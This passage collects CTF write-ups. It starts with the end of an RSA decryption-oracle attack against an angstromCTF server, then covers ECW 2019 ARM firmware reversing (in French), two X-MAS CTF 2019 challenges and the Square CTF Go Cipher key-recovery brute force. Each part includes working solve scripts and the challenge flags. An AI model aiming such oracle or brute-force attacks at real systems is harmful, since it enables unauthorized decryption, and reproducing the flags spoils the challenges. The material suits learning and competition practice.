b']\x17E\xd1t]\x17E\xd1t]\x17E\xd1t]\x17E\xd1t]\x17E\xd1t]\x17E\xd1t]\x17E\xd1t]\x17E\xd1t]\x17E\xd1t]\x17E\xd1t]\x17E\xd1t]\x17E\xd1t]\x17E\xd1t]\x17E\xd1t'
b'a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a'

k >= 62519759709010922297490636659294598026962815280880350273172660972721869006362035772825649418195086855274549058484591561130912293686918250496
k <= 64008325416368325209335651817849231313319072787567977660629152900643818268418274719797688690056874637542990702734224693538791157822321065984
b'_A}\x05\xf4\x17\xd0_A}\x05\xf4\x17\xd0_A}\x05\xf4\x17\xd0_A}\x05\xf4\x17\xd0_A}\x05\xf4\x17\xd0_A}\x05\xf4\x17\xd0_A}\x05\xf4\x17\xd0_A}\x05\xf4\x17\xd0_A}\x05\xf4\x17\xd0_A}\x05\xf4\x17\xd0'
b'a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a\x86\x18a'

[...]

k >= 62606626634666857169962576496954328573681192124427072668906299463448781600005761352512899051732400786172667561506921142654444651242031108608
k <= 62606626634666857169962576496954328573681192124427072668906299463448781600005761352512899051732400786172667561506921142654444651242031108609
b'actf{this_is_not_what_i_meant_when_i_told_you_to_use_rsa_w.p\x03G\xb9\xb2)\xcf\xee\x16\xd1m'
b'actf{this_is_not_what_i_meant_when_i_told_you_to_use_rsa_wx\x89\x0c\xf9\x85/\xa1\xf1y\xe9\x90\x8c'
```

Oops... we're not accurate enough to retrieve the end of the flag. At this point I don't know if there's a way extend this attack to finish properly.

I just decided to guess the flag based on the challenge, and managed to guess correctly: `actf{this_is_not_what_i_meant_when_i_told_you_to_use_rsa_with_padding}`.

Enjoy!

### Script

```python
from Crypto.Util.number import long_to_bytes as ltb
import socket

c = 17482644844951175640843255713372869422739097498066773957636359990466096121278949693816080016671592558403643716793132479255285512907247513385850323834210899918531077167485767118313722022095603863840851451191536627814100144146010392752308431038754246815068245448456643024387011488032896209253644172833489422733
n = 136018504103450744973226909842302068548152091075992057924542109508619184755376768234431340139221594830546350990111376831021784447802637892581966979028826938086172778174904402131356050027973054268478615792292786398076726225353285978936466029682788745325588134172850614459269636474769858467022326624710771957129
e = 0x10001

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.2020.chall.actf.co', 20600))

s.recv(4096)

ka = 2**464
kb = (2**465 + ka) // 2

flag_lower_bound = 0
flag_upper_bound = n

while True:
    k = (ka + kb) // 2

    # k * flag encrypted
    kflag = (c * pow(k, e, n)) % n
    s.send(str(kflag).encode() + b'\n')

    # binary length of k * flag
    u = len(s.recv(4096).split(b'\n')[1])

    if u == 1024:
        kb = k
    else:
        ka = k

    lower_bound = 2**(u-1) // k
    upper_bound = 2**u // k
    if lower_bound > flag_lower_bound:
        flag_lower_bound = lower_bound
    if upper_bound < flag_upper_bound:
        flag_upper_bound = upper_bound

    print("k >= %s" % ka)
    print("k <= %s" % kb)
    print(ltb(flag_lower_bound))
    print(ltb(flag_upper_bound))
    print()

    if kb - ka <= 1:
        break

s.close()
```


# 2019


# ECW Quals 2019

Les épreuves de qualifications de l'European Cyber Week 2019 ont eu lieu du 05/10/2019 au 21/10/2019. C'était un CTF étudiant à participation individuelle et j'ai fini 36ème.


# S3cr37 4g3nt

## Embedded (100 points)

### Énoncé

*En tant qu'agent spécial au service de la faction XXX vous devez décoder un message intercepté sur un théâtre d'opération entre deux agents ennemis. Pour ce faire, votre spécialiste radio vous livre le message (qui semble être chiffré) ainsi que le firmware d'un terminal de chiffrement malheureusement détruit. A vous de jouer agent XXX 007...*

Dans cette épreuve, on nous fournissait un message chiffré ainsi qu'un binaire, `cryptomachine.bin` qui s'occupait de chiffrer un message.

Le message chiffré, lui, n'était rien d'autre qu'une chaîne hexadécimale :

```
49D29B3439B8FB013DE2F9FD35B8F8FD36E5F8FC3409FCFF352DA8033BEAA8F83B73FBFC373AAD003573FB026990FEFA65B8FCFE343AA90034E6AE013DE5AA2A6AA9AEFE81
```

### Solution

Cette épreuve faisait directement suite à une première épreuve de la catégorie Embedded, *Defused*. Je n'ai pas écrit de write-up pour celle-ci, donc un petit peu de contexte s'impose : dans *Defused*, on nous donnait une [image](https://github.com/face0xff/ctf/tree/ae4fa784aad4c3c72097ee59f69b426546b6454d/2019/ECW_Quals_2019/S3cr37_4g3nt/plan.jpg) présentant un circuit dans lequel on retrouvait un microcontrôleur ARM (STM32F103C8T6).

Cet article explique bien comment configurer IDA pour reverse ce type de binaire : <https://blog.3or.de/starting-embedded-reverse-engineering-freertos-libopencm3-on-stm32f103c8t6.html>

Une fois le binaire chargé et IDA configuré, on se retrouve face à un code assez court avec 6 fonctions (ici j'en avais déjà renommé quelques unes).

![fonctions](/files/-LrkWM7K9daBotc2sD1P)

`sub_27C` semble être le "main" du programme, que IDA décompile :

```c
void __noreturn sub_27C()
{
  char *v0; // r6
  char *v1; // r3
  int v2; // r0
  signed int v3; // r4
  int v4; // t1
  unsigned int v5; // r4
  int v6; // r0
  int v7; // r5
  int v8; // r0
  signed int v9; // r4
  int v10; // t1
  char v11; // r5
  char v12; // r3
  char *v13; // r4
  char v14; // r2
  unsigned int v15; // r0
  char v16; // r2
  unsigned int v17; // r3
  unsigned __int8 v18; // r3
  int v19; // r0
  char v20; // r3
  char v21; // r3
  __int16 *v22; // r6
  int v23; // t1
  char v24; // r2
  unsigned int v25; // r0
  char v26; // r2
  unsigned int v27; // r3
  unsigned __int8 v28; // r3
  int v29; // r0
  char v30; // r3
  char v31; // r3
  __int16 *v32; // r6
  int v33; // t1
  unsigned int v34; // r3
  bool v35; // cf
  bool v36; // zf
  unsigned int v37; // r2
  char v38; // r3
  char v39; // r2
  unsigned int v40; // r3
  unsigned int v41; // r0
  unsigned int v42; // r3
  int v43; // r0
  char v44; // r3
  __int16 *v45; // r6
  int v46; // t1
  char v47; // r2
  unsigned int v48; // r0
  char v49; // r2
  unsigned int v50; // r3
  unsigned __int8 v51; // r3
  int v52; // r0
  char v53; // r3
  char v54; // r3
  __int16 *v55; // r6
  int v56; // t1
  int v57; // t1
  int v58; // r0
  signed int v59; // r4
  int v60; // t1
  int v61; // r0
  signed int v62; // r4
  int v63; // t1
  char v64; // [sp+4h] [bp-134h]
  char v65; // [sp+5h] [bp-133h]
  char v66; // [sp+6h] [bp-132h]
  __int16 v67; // [sp+8h] [bp-130h]
  char v68; // [sp+Ah] [bp-12Eh]
  char v69; // [sp+Ch] [bp-12Ch]
  char v70; // [sp+Dh] [bp-12Bh]
  char v71; // [sp+Eh] [bp-12Ah]
  __int16 v72; // [sp+10h] [bp-128h]
  char v73; // [sp+12h] [bp-126h]
  __int16 v74; // [sp+14h] [bp-124h]
  char v75; // [sp+16h] [bp-122h]
  char v76; // [sp+18h] [bp-120h]
  char v77; // [sp+19h] [bp-11Fh]
  char v78; // [sp+1Ah] [bp-11Eh]
  __int16 v79; // [sp+1Ch] [bp-11Ch]
  char v80; // [sp+1Eh] [bp-11Ah]
  char v81; // [sp+1Fh] [bp-119h]
  char v82; // [sp+20h] [bp-118h]
  char v83; // [sp+11Fh] [bp-19h]
  char v84; // [sp+120h] [bp-18h]

  v64 = MEMORY[0x10718];
  v69 = MEMORY[0x10718];
  v76 = MEMORY[0x10718];
  v67 = MEMORY[0x1071C];
  v72 = MEMORY[0x1071C];
  v74 = MEMORY[0x1071C];
  v79 = MEMORY[0x1071C];
  v65 = 0;
  v66 = 0;
  v68 = 0;
  v70 = 0;
  v71 = 0;
  v73 = 0;
  v75 = 0;
  v77 = 0;
  v78 = 0;
  v80 = 0;
  sub_6C(270471168);
  while ( 1 )
  {
    v0 = &v81;
    v1 = &v81;
    do
      (v1++)[1] = 0;
    while ( v1 != &v83 );
    v2 = 63;
    v3 = 67360;
    do
    {
      sub_84(v2);
      v4 = *(unsigned __int8 *)(v3++ + 1);
      v2 = v4;
    }
    while ( v4 );
    v5 = v2;
    do
    {
      while ( !(sub_6C(270471192) & 0x40) )
        ;
      sub_84(42);
      v6 = (unsigned __int8)sub_6C(270471168);
      v7 = v6 - 13;
      ++v5;
      if ( v6 != 13 )
        v7 = 1;
      if ( v5 > 0xFE )
        v7 = 0;
      (v0++)[1] = v6;
    }
    while ( v7 );
    *(&v84 + v5 - 256) = 0;
    sub_84(10);
    if ( v5 > 2 && v5 & 1 )
    {
      v8 = 67;
      v9 = 67372;
      v64 = 0;
      v65 = 0;
      v69 = 0;
      v70 = 0;
      v76 = 0;
      v77 = 0;
      v67 = 0;
      v72 = 0;
      v74 = 0;
      v79 = 0;
      do
      {
        sub_84(v8);
        v10 = *(unsigned __int8 *)(v9++ + 1);
        v8 = v10;
      }
      while ( v10 );
      v11 = v8;
      v12 = v82;
      v13 = &v82;
      do
      {
        v14 = v13[1];
        v64 = v12;
        v65 = v14;
        v15 = hex_to_dec((unsigned __int8 *)&v64);
        v16 = v15;
        v17 = (unsigned __int8)(v15 >> 4);
        if ( v17 <= 9 )
          v18 = v17 + 48;
        else
          v18 = v17 + 55;
        v19 = v18;
        v20 = v16 & 0xF;
        if ( (v16 & 0xFu) <= 9 )
          v21 = v20 + 48;
        else
          v21 = v20 + 55;
        LOBYTE(v67) = v19;
        HIBYTE(v67) = v21;
        v68 = v11;
        if ( v19 )
        {
          v22 = &v67;
          do
          {
            sub_84(v19);
            v23 = *((unsigned __int8 *)v22 + 1);
            v22 = (__int16 *)((char *)v22 + 1);
            v19 = v23;
          }
          while ( v23 );
        }
        if ( v13[2] == 13 )
          break;
        v24 = v13[3];
        v69 = v13[2];
        v70 = v24;
        v25 = hex_to_index((unsigned __int8 *)&v69);
        v26 = v25;
        v27 = (unsigned __int8)(v25 >> 4);
        if ( v27 <= 9 )
          v28 = v27 + 48;
        else
          v28 = v27 + 55;
        v29 = v28;
        v30 = v26 & 0xF;
        if ( (v26 & 0xFu) <= 9 )
          v31 = v30 + 48;
        else
          v31 = v30 + 55;
        LOBYTE(v72) = v29;
        HIBYTE(v72) = v31;
        v73 = v11;
        if ( v29 )
        {
          v32 = &v72;
          do
          {
            sub_84(v29);
            v33 = *((unsigned __int8 *)v32 + 1);
            v32 = (__int16 *)((char *)v32 + 1);
            v29 = v33;
          }
          while ( v33 );
        }
        v34 = (unsigned __int8)v13[4];
        if ( v34 == 13 )
          break;
        v35 = v34 >= 0x39;
        v36 = v34 == 57;
        v37 = (unsigned __int8)v13[5];
        if ( v34 <= 0x39 )
          v38 = 16 * v34;
        else
          v38 = 16 * (v34 - 55);
        if ( v36 || !v35 )
          v38 &= 0xF0u;
        v39 = v37 <= 0x39 ? v37 - 48 : v37 - 55;
        v40 = (unsigned __int8)(v38 + v39) ^ 0xCC;
        v41 = v40 >> 4;
        v35 = v40 >> 4 >= 9;
        v36 = v40 >> 4 == 9;
        v42 = v40 & 0xF;
        v43 = !v36 && v35 ? v41 + 55 : v41 + 48;
        v44 = v42 <= 9 ? v42 + 48 : v42 + 55;
        LOBYTE(v74) = v43;
        HIBYTE(v74) = v44;
        v75 = v11;
        v45 = &v74;
        do
        {
          sub_84(v43);
          v46 = *((unsigned __int8 *)v45 + 1);
          v45 = (__int16 *)((char *)v45 + 1);
          v43 = v46;
        }
        while ( v46 );
        if ( v13[6] == 13 )
          break;
        v47 = v13[7];
        v76 = v13[6];
        v77 = v47;
        v48 = aMoinsBMoins2((unsigned __int8 *)&v64, (unsigned __int8 *)&v76);
        v49 = v48;
        v50 = (unsigned __int8)(v48 >> 4);
        v51 = v50 <= 9 ? v50 + 48 : v50 + 55;
        v52 = v51;
        v53 = v49 & 0xF;
        v54 = (v49 & 0xFu) <= 9 ? v53 + 48 : v53 + 55;
        LOBYTE(v79) = v52;
        HIBYTE(v79) = v54;
        v80 = v11;
        if ( v52 )
        {
          v55 = &v79;
          do
          {
            sub_84(v52);
            v56 = *((unsigned __int8 *)v55 + 1);
            v55 = (__int16 *)((char *)v55 + 1);
            v52 = v56;
          }
          while ( v56 );
        }
        v57 = (unsigned __int8)v13[8];
        v13 += 8;
        v12 = v57;
      }
      while ( v57 != 13 );
      v58 = 13;
      v59 = 67376;
      do
      {
        sub_84(v58);
        v60 = *(unsigned __int8 *)(v59++ + 1);
        v58 = v60;
      }
      while ( v60 );
    }
    else
    {
      v61 = 33;
      v62 = 67364;
      do
      {
        sub_84(v61);
        v63 = *(unsigned __int8 *)(v62++ + 1);
        v61 = v63;
      }
      while ( v63 );
    }
  }
}
```

Étudions d'abord quelques des autres fonctions avant de s'attarder au main. La fonction `sub_120` (renommée `hex_to_dec`) :

```c
int __fastcall hex_to_dec(unsigned __int8 *a1)
{
  unsigned int v1; // r3
  unsigned int v2; // r0
  bool v3; // cf
  bool v4; // zf
  char v5; // r3
  char v6; // r0

  v1 = *a1;
  v2 = a1[1];
  v3 = v1 >= 0x39;
  v4 = v1 == 57;
  if ( v1 <= 0x39 )
    v5 = 16 * v1;
  else
    v5 = 16 * (v1 - 55);
  if ( v4 || !v3 )
    v5 &= 0xF0u;
  if ( v2 <= 0x39 )
    v6 = v2 - 48;
  else
    v6 = v2 - 55;
  return (unsigned __int8)(v5 + v6 + 4);
}
```

Celle-ci prend une chaîne a1 et va convertir les deux premiers caractères depuis l'hexadécimal... et ajouter 4. Par exemple, `7C` deviendrait 128.

Ensuite, regardons le `sub_160` (renommé `hex_to_index`) :

```c
int __fastcall hex_to_index(unsigned __int8 *a1)
{
  unsigned int v1; // r2
  unsigned int v2; // r1
  int v3; // r3
  char v4; // r2
  int v5; // r3
  int v6; // r2
  int v7; // r1
  int result; // r0

  v1 = *a1;
  v2 = a1[1];
  v3 = 16 * (v1 - 55);
  if ( v1 <= 0x39 )
    v4 = 16 * v1 & 0xF0;
  else
    v4 = v3 & 0xF0;
  v5 = (unsigned __int8)(v4 + v2 - 55);
  v6 = (unsigned __int8)(v4 + v2 - 48);
  if ( v2 <= 0x39 )
    v7 = v6;
  else
    v7 = v5;
  for ( result = 0; *(unsigned __int8 *)(result + 67096) != v7; result = (unsigned __int8)(result + 1) )
    ;
  return result;
}
```

Cette fonction va aussi convertir deux caractères hexadécimaux en décimal, mais va ensuite chercher, à un certain endroit dans la mémoire, l'octet résultant, et retourner sa position.

Cette zone mémoire commence en 67096 = 0x10618, c'est-à-dire à l'offset réel 0x618 dans le binaire. On dump sur 256 octets :

```
94 AE 4F CC A9 BB 78 8A FB 31 C0 06 85 30 F9 C3
54 47 96 7D 6B CF 90 BA DD 29 02 A8 69 79 45 49
38 4B 4C 87 6C 8C C2 82 D2 BD FE 3D F6 37 DE 2A
19 22 E5 F0 E7 AF 98 7F DB D9 32 9F 3E AB 89 73
0D 25 53 D0 A1 07 F7 5F 3B 99 17 3C BF B8 CB FD
DC 44 C5 B2 B5 16 6F D8 83 AA 9B 14 26 50 B7 9C
D1 71 23 04 5A 8E 93 FC 09 2E 55 D3 0A CE 7B D6
C7 2B 97 33 B6 E1 5B 57 1E E3 AC 5D EB 00 36 74
A0 7A A6 15 E8 C9 8B F4 1A BE 13 E9 D7 0B 51 0E
35 70 56 0F F1 92 7E 86 24 DF 8F 10 88 7C 20 2F
68 3F A4 8D 6D 6A 84 C1 9E 65 E0 5E 95 1D EF 0C
4E 05 18 59 4A 27 EE 01 39 76 D4 46 63 A5 DA F2
ED 81 F5 AD D5 66 A7 EA A2 EC E2 3A 5C 1B B4 1C
2C 41 43 60 40 FF 4D CA E4 F8 58 91 52 28 6E 9A
48 11 64 2D 21 34 61 B1 B3 9D 62 E6 BC FA CD 42
72 C8 C6 03 1F B0 F3 75 A3 67 08 77 12 B9 C4 80
```

Sans surprise, il s'agit d'une permutation de la liste des octets de 0 à 255. La fonction retourne donc la position de notre octet dans cette table.

Enfin, la fonction `sub_204` (renommée ici subtilement `aMoinsBMoins2`) :

```c
int __fastcall aMoinsBMoins2(unsigned __int8 *a1, unsigned __int8 *a2)
{
  unsigned int v2; // r3
  unsigned int v3; // r2
  bool v4; // cf
  bool v5; // zf
  char v6; // r3
  char v7; // r2
  char v8; // r3
  unsigned int v9; // r2
  unsigned int v10; // r0
  bool v11; // cf
  bool v12; // zf
  char v13; // r2
  char v14; // r0

  v2 = *a2;
  v3 = a2[1];
  v4 = v2 >= 0x39;
  v5 = v2 == 57;
  if ( v2 <= 0x39 )
    v6 = 16 * v2;
  else
    v6 = 16 * (v2 - 55);
  if ( v5 || !v4 )
    v6 &= 0xF0u;
  if ( v3 <= 0x39 )
    v7 = v3 - 48;
  else
    v7 = v3 - 55;
  v8 = v6 + v7;
  v9 = *a1;
  v10 = a1[1];
  v11 = v9 >= 0x39;
  v12 = v9 == 57;
  if ( v9 <= 0x39 )
    v13 = 16 * v9;
  else
    v13 = 16 * (v9 - 55);
  if ( v12 || !v11 )
    v13 &= 0xF0u;
  if ( v10 <= 0x39 )
    v14 = v10 - 48;
  else
    v14 = v10 - 55;
  return (unsigned __int8)(v8 - 2 - (v13 + v14));
}
```

Après étude, celle-ci semble simplement renvoyer `a - b - 2`, où a et b sont les valeurs décimales associées aux arguments (toujours en hexa) a2 et a1.

Avec toutes ces informations en main, nous pouvions alors comprendre la routine de chiffrement du main. C'est un peu fastidieux donc je vais directement sauter à l'explication de l'algorithme :

* On lit le plaintext sous forme de chaîne hexadécimale, deux caractères par deux
* Soit m\[i] le i-ème octet du plaintext, et c\[i] son chiffré :
  * Si i mod 4 = 0, alors c\[i] = m\[i] + 4
  * Si i mod 4 = 1, alors c\[i] est l'indice de m\[i] dans la table de permutation
  * Si i mod 4 = 2, alors c\[i] = m\[i] xor 0xCC
  * Si i mod 4 = 3, alors c\[i] = m\[i] - c\[i-3] - 2
* Le texte chiffré est c sous forme de chaîne hexadécimale

Il ne reste plus qu'à coder un algo de déchiffrement.

```python
P = "94AE4FCCA9BB788AFB31C0068530F9C35447967D6BCF90BADD2902A869794549384B4C876C8CC282D2BDFE3DF637DE2A1922E5F0E7AF987FDBD9329F3EAB89730D2553D0A107F75F3B99173CBFB8CBFDDC44C5B2B5166FD883AA9B142650B79CD17123045A8E93FC092E55D30ACE7BD6C72B9733B6E15B571EE3AC5DEB003674A07AA615E8C98BF41ABE13E9D70B510E3570560FF1927E8624DF8F10887C202F683FA48D6D6A84C19E65E05E951DEF0C4E0518594A27EE013976D44663A5DAF2ED81F5ADD566A7EAA2ECE23A5C1BB41C2C41436040FF4DCAE4F8589152286E9A4811642D213461B1B39D62E6BCFACD4272C8C6031FB0F375A367087712B9C480"
P = [int(P[i:i+2], 16) for i in range(0, len(P), 2)]

m = "49D29B3439B8FB013DE2F9FD35B8F8FD36E5F8FC3409FCFF352DA8033BEAA8F83B73FBFC373AAD003573FB026990FEFA65B8FCFE343AA90034E6AE013DE5AA2A6AA9AEFE81"
m = [int(m[i:i+2], 16) for i in range(0, len(m), 2)]

out = []
for i in range(len(m)):
    if i % 4 == 0:
        out.append(m[i] - 4)
    if i % 4 == 1:
        out.append(P[m[i]])
    if i % 4 == 2:
        out.append(m[i] ^ 0xCC)
    if i % 4 == 3:
        out.append((m[i] + 2 + (m[i-3]-4)) & 0xff)

print(bytes(out))
```

Et le résultat :

```
b'ECW{59789d5819402440010117d67bd1737532a51375e52aa90a02e20ab394fefebf}'
```

### Conclusion

Une épreuve plutôt sympathique même si analyser le code en statique est légèrement sale et fastidieux. C'est la première fois que je fais un challenge de ce genre (reverse du ARM microcontrôleur) et je suis content d'avoir fait first blood !

Je suis d'ailleurs étonné du nombre peu élevé de validations sur cette épreuve, que je n'ai pas trouvée spécialement plus difficile que son homologue *Defused* qui en a 3 fois plus.

Enjoy!


# X-MAS CTF 2019

I participated with SHRECS.


# FUNction Plotter

## Misc, 50 points

### Description

*One of Santa's elves found this weird service on the internet. He doesn't like maths, so he asked you to check if there's anything hidden behind it.*

*Remote Server: `nc challs.xmas.htsp.ro 13005`* *Author: yakuhito*

### Solution

Let's connect to the server and see what's going on.

```
╭─face0xff@aniesu-chan /den/ctf/xmas  
╰─$ nc challs.xmas.htsp.ro 13005
Welcome to my guessing service!
Can you guess all 961 values?


f(27, 5)=0
Pretty close, but wrong!

f(26, 6)=1
Pretty close, but wrong!

f(4, 20)=0
Good!

f(17, 13)=1
Pretty close, but wrong!
```

After enough retries, we can infer several important points:

* The server asks us for a value of f(x, y), with x and y in {0, ... 30}
* The only answers that can (sometimes) give "Good!" answers are "0" and "1"
* Our goal is certainly to determine f over \[\[0, 31]]^2.

At this point I was thinking about what we would get once we fully recovered f. It could not be a binary text because of the length, so I thought of a QR Code because of the square shape.

It happened I had the correct intuition; here's an animation of the script recovering the square:

![Retrieving the QR code](/files/-LwctG_o1746UUolh9hI)

What was only left to do was to make an image out of it:

![The actual QR code](/files/-LwctG_q0s5gOxgnrC5Q)

which decodes as the flag : `X-MAS{Th@t's_4_w31rD_fUnCt10n!!!_8082838205}`.

Enjoy!

### Script

```python
import socket, itertools

def display(S):
    for j in range(31):
        print(''.join(str(u) if u >= 0 else ' ' for u in S[j]))
    print('\n')

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs.xmas.htsp.ro', 13005))

square = [[-1] * 31 for i in range(31)]

d = s.recv(4096)

while -1 in list(itertools.chain(*square)):
    coords = d.split(b'\n')[-1].replace(b'f(', b'').replace(b')=', b'')
    x, y = map(int, coords.decode('utf-8').split(', '))
    s.send(b'0\n')
    d = s.recv(4096)
    square[y][x] = 1 if b'wrong' in d else 0
    display(square)

s.close()

from PIL import Image

BLOCK = 10
img = Image.new('RGB', (31 * BLOCK, 31 * BLOCK))

for y in range(31):
    for x in range(31):
        color = (0,) * 3 if square[y][x] else (255,) * 3
        for i in range(BLOCK):
            for j in range(BLOCK):
                img.putpixel((x * BLOCK + i, y * BLOCK + j), color)

img.save('out.png')
```


# Emu 2.0

## Emulation, 50 points

### Description

*Hey! We have found this old cartridge under a desk in the library of Lapland. It appears to be for a system called "Emu 2.0", made back in 1978. These systems don't get produced anymore, and we can't seem to find anyone that owns one.*

*Thankfully we have the documentation for it, so maybe we can use it to write an emulator and see what this ROM does?*

*Author: Milkdrop*

Files : [rom](https://github.com/face0xff/ctf/tree/78667f320af8303bf66e5f7561ac25cbdebc56c5/2019/X-MAS_CTF_2019/Emu_2.0/rom/README.md), [documentation.pdf](https://github.com/face0xff/ctf/tree/78667f320af8303bf66e5f7561ac25cbdebc56c5/2019/X-MAS_CTF_2019/Emu_2.0/documentation.pdf)

### Solution

This challenge was pretty straightforward; we were given a ROM file along with a short 3-page specification, and we had to code an emulator to run the ROM which would print out the flag.

There's nothing much to detail further, so here's my implementation of the emulator in Python.

```python
import sys

def emulate(filename):
    rom = open(filename, 'rb').read()
    assert len(rom) == 0xf00

    A = 0
    PC = 0x100
    mem = [0] * 0x100 + [x for x in rom]
    blocked = [False] * 0x1000

    while 0 <= PC < 0xfff:
        op = mem[PC:PC + 2]

        # Arithmetic
        if op[0] == 0x00:
            A = (A + op[1]) & 0xff
        elif op[0] == 0x01:
            A = op[1]
        elif op[0] == 0x02:
            A ^= op[1]
        elif op[0] == 0x03:
            A |= op[1]
        elif op[0] == 0x04:
            A &= op[1]
        elif op[0] >> 4 == 0x08:
            A = mem[((op[0] & 0x0f) << 8) | op[1]]
        elif op[0] >> 4 == 0x0d:
            if not blocked[((op[0] & 0x0f) << 8) | op[1]]:
                mem[((op[0] & 0x0f) << 8) | op[1]] ^= A
        elif op[0] >> 4 == 0x0f:
            if not blocked[((op[0] & 0x0f) << 8) | op[1]]:
                mem[((op[0] & 0x0f) << 8) | op[1]] = A

        # I/O        
        elif op[0] == 0x13 and op[1] == 0x37:
            sys.stdout.write(chr(A))
            sys.stdout.flush()

        # Control Flow
        elif op[0] >> 4 == 0x02:
            PC = ((op[0] & 0x0f) << 8) | op[1]
            continue
        elif op[0] >> 4 == 0x03:
            if A == 0x00:
                PC = ((op[0] & 0x0f) << 8) | op[1]
                continue
        elif op[0] >> 4 == 0x04:
            if A == 0x01:
                PC = ((op[0] & 0x0f) << 8) | op[1]
                continue
        elif op[0] >> 4 == 0x05:
            if A == 0xff:
                PC = ((op[0] & 0x0f) << 8) | op[1]
                continue
        elif op[0] == 0x60:
            if A == op[1]:
                A = 0x00
            elif A > op[1]:
                A = 0xff
            else:
                A = 0x01
        elif op[0] >> 4 == 0x07:
            c = mem[((op[0] & 0x0f) << 8) | op[1]]
            if A == c:
                A = 0x00
            elif A > c:
                A = 0xff
            else:
                A = 0x01
        elif op[0] == 0xbe and op[1] == 0xef:
            PC = 0x100
            A = 0x42
            continue

        # Security
        elif op[0] >> 4 == 0x09:
            blocked[((op[0] & 0x0f) << 8) | op[1]] = True
        elif op[0] >> 4 == 0x0a:
            blocked[((op[0] & 0x0f) << 8) | op[1]] = False
        elif op[0] >> 4 == 0x0c:
            if not blocked[((op[0] & 0x0f) << 8) | op[1]]:
                mem[((op[0] & 0x0f) << 8) | op[1]] ^= 0x42

        # Misc
        elif op[0] == 0xee and op[1] == 0xee:
            pass

        else:
            A = (A - 1) & 0xff

        PC += 2

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print('[-] Usage: %s <romfile>' % sys.argv[0])
        sys.exit(1)
    sys.exit(emulate(sys.argv[1]))
```

Let's run it on the file.

```
╭─face0xff@aniesu-chan /den/ctf/xmas  
╰─$ python rom.py rom                                                                                                                                                                                      1 ↵
X-MAS{S4nt4_U5e5_An_Emu_2.0_M4ch1n3}
```

We can notice the program actually never ends because it is stuck in an infinite loop. Indeed, at PC=0x408, the instruction is `24 08` which means "jump to 0x408".

Enjoy


# Square CTF 2019

I participated with SHRECS and we ended up 37th.


# Go Cipher

## Crypto, 1000 points

In this challenge, we were given a Go source file which allows to encrypt or decrypt data using a 24-byte key. Our goal was to decrypt `flag.txt.enc` without knowing the key.

### Description of the algorithm

The interesting part of the code is the `encrypt` function:

```go
func encrypt(plaintext []byte, key []byte) string {
  x := uint64(binary.LittleEndian.Uint64(key[0:]))
  y := uint64(binary.LittleEndian.Uint64(key[8:]))
  z := uint64(binary.LittleEndian.Uint64(key[16:]))

  keyid := md5.Sum(key)
  r := keyid[:]
  for _, e := range plaintext {
    t := (e - byte(x)) ^ byte(y) ^ byte(z)
    r = append(r, t)
    x = bits.RotateLeft64(x, -1)
    y = bits.RotateLeft64(y, 1)
    z = bits.RotateLeft64(z, 1)
  }
  return hex.EncodeToString(r)
}
```

The idea is that our 24-byte key is split into 3 chunks of 8 bytes each, and then converted into 64-bit integers `x`, `y` and `z`.

The key is then hashed into md5 and the ciphertext starts with this hash (16 bytes). As far as my understanding went, the sole purpose of this md5 is to ensure a key is correct before trying to decrypt, and it isn't really exploitable to crack the key.

The encryption algorithm is quite simple; if `e` is a byte of the plaintext, then it will be encrypted into `(e - byte(x)) ^ byte(y) ^ byte(z)`, where `byte(a)` denotes the 8 least significant bits of `a` (in other words, `a & 0xFF`). After each iteration, x is rotated 1 bit to the right, and y, z are rotated 1 bit to the left.

### Exploitation of the algorithm

Right off the bat, we can notice it is useless to look for two separate variables y and z. Indeed, their roles are perfectly symmetric and the values of x, y and z are never interchanged throughout the encryption. From an attacker's point of view, it is thus equivalent to let `u = y ^ z` and `t = (e - byte(x)) ^ byte(u)`, `u` being rotated 1 bit to the left each iteration.

My idea was that we only have to brute-force the first byte of `x` and `u` (65536 possibilities *maximum*), and for each valid possibility, because of the 1-bit rotation mechanism, each iteration that follows we only have to find out whether the next bit for `x` and `u` is 0 or 1, which leaves 4 possibilities *maximum*. We can then explore the tree describing every possible plaintext with a recursive algorithm.

But how do we narrow down the possibilities? Well, since the encrypted flag has a pretty small size (47 bytes), we expect it to be normal text, so all we have to do is check if the potential decrypted byte at each iteration is readable ASCII. We also know that the flag will look like `flag-[hex chars]`, so we can look out for the string "flag-" in each tree path.

Let's sum up the steps of the attack:

* Choose a set `abc` of characters you expect the plaintext to be made of
* Skip the 16 first bytes of the encrypted flag `flag`
* Start with an "empty" `x` and `u`, and an empty plaintext `out`
* Start by brute-forcing the values (p, q) of the lower byte of `x` and `u`:
  * If `(flag[0] ^ q) + p)` is in `abc`, go deeper and append this value to `out`
* Then brute-force the next bit of `x` and `y`:
  * Compute the new value (p, q) of the lower byte of `x` and `u` after the bit rotation
  * If `(flag[0] ^ q) + p)` is in `abc`, go deeper and append this value to `out`
* If a path reaches the end (length of the ciphertext), check if it has "flag-" in it and display it!

Here is a Python implementation of the attack:

```python
flag = "9e108b46c49f48b25591375a0ed7716a952a25e0b1d1242e4587f9e9c119e3b7f4d3d063b9a5cdf298e2b2a4a9b42835febde85f690ca6997100351ebdb17b"
flag = bytes.fromhex(flag)[16:]

printable = [ord(x) for x in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJLMNOPQRSTUVWXYZ- 0123456789,.?!\n"]

def rec(key_x, key_y, out):
    i = len(out)
    if i == len(flag):
        if b"flag-" in out:
            print(out)
    elif i == 0:
        for x in range(256):
            for y in range(256):
                if ((flag[i] ^ y) + x) & 0xff in printable:
                    rec(x, y, out + bytes([((flag[i] ^ y) + x) & 0xff]))
    else:
        for p in range(2):
            for q in range(2):
                x = (p << 7) | (key_x >> 1)
                y = ((key_y << 1) & 0xff) | q
                if ((flag[i] ^ y) + x) & 0xff in printable:
                    rec(x, y, out + bytes([((flag[i] ^ y) + x) & 0xff]))

